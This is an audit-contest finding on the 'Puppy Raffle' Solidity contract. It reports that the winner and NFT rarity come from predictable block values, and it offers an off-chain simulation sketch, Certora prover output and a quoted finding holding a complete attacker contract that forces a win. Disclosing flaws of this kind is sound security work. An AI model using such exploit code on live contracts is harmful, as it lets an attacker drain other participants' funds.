Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Weak Randomness in selectWinner()

Root + Impact

Description

The selectWinner() function determines the raffle winner using an on-chain hash of values that are either publicly known or controllable by miners:

// @> All three values are predictable or manipulable
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(
msg.sender, // @> caller controls this
block.timestamp, // @> miner can manipulate within ~15 seconds
block.difficulty // @> miner controls this entirely
))) % players.length;

Because keccak256 is a deterministic function, anyone who knows the inputs can compute the output in advance. A malicious caller can simulate the computation off-chain, choose the exact block.timestamp to use, and call selectWinner() only when the result favors their address. Miners have even stronger power: they can freely set block.difficulty and adjust block.timestamp within the allowed drift range to guarantee they win.

The same weak pattern is used a second time to determine NFT rarity:

// @> same predictable inputs, different winner can also control rarity
uint256 rarity = uint256(keccak256(abi.encodePacked(
msg.sender,
block.difficulty
))) % 100;

This means the attacker controls not only who wins the prize but also which rarity NFT is minted, allowing them to always claim the legendary puppy.

Risk

Likelihood:

  • Any technically capable participant can precompute the winner index off-chain before calling selectWinner()

  • The caller of selectWinner() is always msg.sender, a value they completely control

  • Miners can manipulate block.difficulty and block.timestamp freely, making exploitation trivial for them

  • This requires no special tools — a simple script can simulate the keccak256 hash before submitting the transaction

Impact:

  • The raffle is completely unfair: a single attacker can guarantee they win every round

  • All honest participants lose their entrance fees while the attacker wins the prize pool (80% of all collected ETH)

  • The attacker can additionally guarantee they always receive a legendary NFT, which may have significant secondary market value

  • The entire value proposition of the protocol — a fair random raffle — is destroyed

  • Other participants have no way to detect or prevent this attack on-chain


Proof of Concept

// Attacker script (off-chain simulation before calling selectWinner):
// 1. Read current state
address[] memory currentPlayers = raffle.getPlayers();
uint256 targetTimestamp = block.timestamp; // attacker chooses this
// 2. Simulate winner selection
uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(
attackerAddress, // msg.sender when attacker calls
targetTimestamp, // attacker picks favorable timestamp
block.difficulty // publicly known before tx is mined
))
) % currentPlayers.length;
// 3. If currentPlayers[winnerIndex] == attackerAddress → call selectWinner()
// Otherwise → wait for next block and repeat
// 4. Attacker only submits the transaction when they are guaranteed to win

Formal Verification Evidence (Certora Prover):

The Certora Prover rule weak_randomness_same_input_same_winner was formally verified and returned VIOLATED, providing mathematical proof that identical msg.sender and block.timestamp values always produce the same winner:

Rule: weak\_randomness\_same\_input\_same\_winner
Property: winner1 != winner2 (given same env inputs)
Result: VIOLATED
Prover output: prover.certora.com/output/3088449/d25650413fc1466280b1d4664a294a41

The Prover found a counterexample where two calls with identical environment parameters select the exact same winner, proving the randomness is fully deterministic and exploitable.


Recommended Mitigation

Replace the on-chain pseudo-randomness with Chainlink VRF (Verifiable Random Function), which provides cryptographically secure randomness that cannot be predicted or manipulated by any party including miners:

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(
- msg.sender,
- block.timestamp,
- block.difficulty
- ))) % players.length;
+ // Use Chainlink VRF V2
+ // 1. Call requestRandomWords() to get a request ID
+ // 2. Implement fulfillRandomWords() callback
+ // 3. Use the verified random word to select the winner
+ uint256 winnerIndex = randomWord % players.length;

This requires integrating VRFConsumerBaseV2 and paying LINK tokens for randomness requests, but it is the only production-safe solution. As an alternative, commit-reveal schemes can reduce (but not fully eliminate) miner manipulation.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 12 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!